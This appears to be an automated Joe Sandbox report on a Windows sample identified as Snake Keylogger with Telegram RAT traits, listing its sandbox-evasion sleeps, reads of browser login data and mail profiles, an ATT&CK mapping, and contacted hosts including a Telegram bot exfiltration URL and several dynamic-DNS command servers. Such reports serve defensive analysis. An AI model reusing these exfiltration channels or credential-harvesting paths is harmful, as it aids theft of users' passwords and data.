Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596826s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596373s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -595061s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -594515s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 0_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004055FF
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 0_2_004060BA FindFirstFileW,FindClose,	0_2_004060BA
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_00402770 FindFirstFileW,	4_2_00402770
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_004055FF GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_004055FF
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_004060BA FindFirstFileW,FindClose,	4_2_004060BA

Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599424	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599174	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599047	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598593	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596826	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596373	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595061	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594515	Jump to behavior

Source: rFa24c148.exe, 00000004.00000002.2971357954.0000000002E0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rFa24c148.exe, 00000004.00000002.2971357954.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(5

Source: C:\Users\user\Desktop\rFa24c148.exe	API call chain: ExitProcess graph end node			graph_0-4821
Source: C:\Users\user\Desktop\rFa24c148.exe	API call chain: ExitProcess graph end node			graph_0-4815

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\rFa24c148.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Process created: C:\Users\user\Desktop\rFa24c148.exe "C:\Users\user\Desktop\rFa24c148.exe"

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Users\user\Desktop\rFa24c148.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_00405D99 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405D99

Source: C:\Users\user\Desktop\rFa24c148.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: rFa24c148.exe PID: 7732, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\rFa24c148.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rFa24c148.exe PID: 7732, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: rFa24c148.exe PID: 7732, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	12 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rFa24c148.exe	16%	ReversingLabs	Win32.Trojan.Garf
rFa24c148.exe	32%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
drive.usercontent.google.com	1%	Virustotal	Browse
reallyfreegeoip.org	0%	Virustotal	Browse
drive.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	172.217.18.110	true	false	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	142.250.185.225	true	false	1%, Virustotal, Browse	unknown
reallyfreegeoip.org	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true		unknown
checkip.dyndns.com	193.122.6.168	true	false		unknown
checkip.dyndns.org	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20and%20Time:%2028/10/2024%20/%2012:44:28%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20124406%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/155.94.241.188	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	rFa24c148.exe, 00000004.00000002.2993781136.0000000033632000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org	rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20a	rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.office.com/lB	rFa24c148.exe, 00000004.00000002.2993781136.000000003362D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/	rFa24c148.exe, 00000004.00000003.2145457011.0000000002E62000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2145385443.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2971357954.0000000002E1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	rFa24c148.exe, 00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003470D000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347E2000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034569000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034590000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003451B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	rFa24c148.exe	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	rFa24c148.exe, 00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003470D000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347E2000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034569000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034590000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003451B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=en	rFa24c148.exe, 00000004.00000002.2993781136.0000000033601000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/155.94.241.188$	rFa24c148.exe, 00000004.00000002.2993781136.00000000334FE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.00000000334B8000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://varders.kozow.com:8081	rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com	rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/	rFa24c148.exe, 00000004.00000002.2971357954.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	rFa24c148.exe, 00000004.00000002.2994718005.0000000034521000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003469A000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003456B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000344F6000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347BE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346C5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	rFa24c148.exe, 00000004.00000002.2993781136.00000000335FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	rFa24c148.exe, 00000004.00000002.2993781136.000000003348E000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.00000000334FE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	rFa24c148.exe, 00000004.00000002.2994718005.0000000034521000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003469A000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003456B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000344F6000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347BE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346C5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	rFa24c148.exe, 00000004.00000002.2993781136.000000003348E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
172.217.18.110	drive.google.com	United States	15169	GOOGLEUS	false
142.250.185.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543495
Start date and time:	2024-10-28 02:01:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rFa24c148.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/10@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 185 Number of non-executed functions: 145
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:02:48	API Interceptor	190220x Sleep call for process: rFa24c148.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	na.doc	Get hash	malicious	MassLogger RAT	Browse
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	mnobizxv.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.Inject5.10837.16335.2292.exe	Get hash	malicious	AgentTesla	Browse
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
193.122.6.168	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	mnobizxv.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Factura 1-014685.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
